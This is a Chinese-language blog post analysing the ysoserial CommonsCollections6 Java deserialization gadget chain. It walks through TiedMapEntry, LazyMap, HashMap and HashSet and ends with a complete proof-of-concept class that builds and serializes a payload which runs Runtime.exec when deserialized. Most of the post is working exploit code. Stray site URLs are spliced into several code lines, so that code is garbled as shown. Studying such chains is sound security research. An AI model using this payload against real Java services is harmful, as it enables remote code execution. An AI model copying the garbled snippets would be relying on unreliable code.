ysoserial commonscollections6 分析( 二 )

4、TiedMapEntry
根据利用链,下一步通过TiedMapEntry构造方法传入map和key,通过getValue实现对map参数的get操作,所以将lazyMap和一个不存在的key作为参数传入 。
public TiedMapEntry(Map map, Object key) {super();this.map = map;this.key = key;}public Object getValue() {return map.get(key);}利用链
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);tiedMapEntry.getValue();再看TiedMapEntry的hashCode方法,实现了getValue()的调用 。
public int hashCode() {Object value = https://www.huyubaike.com/biancheng/getValue();return (getKey() == null ? 0 : getKey().hashCode()) ^(value == null ? 0 : value.hashCode());}利用链
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);tiedMapEntry.hashcode();5、HashMap
hashmap的hash实现了对参数key的hashcode方法,put方法实现了hash方法
static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}public V put(K key, V value) {return putVal(hash(key), key, value, false, true);}利用链
Map hashmap = new HashMap();hashmap.put(tiedMapEntry,1);//calc.exe6、HashSet
根据利用链看HashSet类的readobject(),由于map = new HashMap<>(),最终实现了在readobject中调用了hashmap.put方法 。
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {...// Read in all elements in the proper order.for (int i=0; i<size; i++) {@SuppressWarnings("unchecked")E e = (E) s.readObject();map.put(e, PRESENT);}}利用链
HashSet hashSet = new HashSet();hashSet.add(tiedMapEntry);ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc6.ser"));objectOutputStream.writeObject(hashSet);ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc6.ser"));objectInputStream.readObject();由于在TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2)中实际执行的lazyMap.get(2) 。
public Object getValue() {return map.get(key);}lazyMap.get(2)该执行过程中,如果lazyMap不存在key,会对lazyMap储值 。
public Object get(Object key) {// create value for key if key is not currently in the mapif (map.containsKey(key) == false) {Object value = https://www.huyubaike.com/biancheng/factory.transform(key);map.put(key, value);return value;}return map.get(key);}所以在做序列化的时候实际lazyMap中已经存在了key=2,反序列化的时候map.containsKey(key) == false不成立,在反序列化过程中无法成功执行Object value = https://www.huyubaike.com/biancheng/factory.transform(key);
在序列化之前需要将该key移除
lazyMap.remove(2);优化:
由于hashSet.add(tiedMapEntry);中,执行了map.put(tiedMapEntry),最终会在本地执行exec 。
public boolean add(E e) {return map.put(e, PRESENT)==null;}在一开始可以对transformers赋空值,在序列化之前再对ChainedTransformer类产生的transformer的iTransformers通过反射做修改,将实际执行的exec执行链传入 。
Transformer[] transformers = {};Transformer[] transformerslist = { new ConstantTransformer(Class.forName("java.lang.Runtime")), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})};Field field = ChainedTransformer.class.getDeclaredField("iTransformers");field.setAccessible(true);field.set(transformer, transformerslist);最终的利用链
public class CC6Test1 {public static void main(String[] args) throws Exception {Transformer[] transformers = {};Transformer[] transformerslist = {new ConstantTransformer(Class.forName("java.lang.Runtime")),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})};Transformer transformer = new ChainedTransformer(transformers);Map map = new HashMap();map.put(1,"hello");Map lazyMap = LazyMap.decorate(map, transformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);HashSet hashSet = new HashSet();hashSet.add(tiedMapEntry);lazyMap.remove(2);Field field = ChainedTransformer.class.getDeclaredField("iTransformers");field.setAccessible(true);field.set(transformer, transformerslist);ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc6.ser"));objectOutputStream.writeObject(hashSet);ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc6.ser"));objectInputStream.readObject();}}

经验总结扩展阅读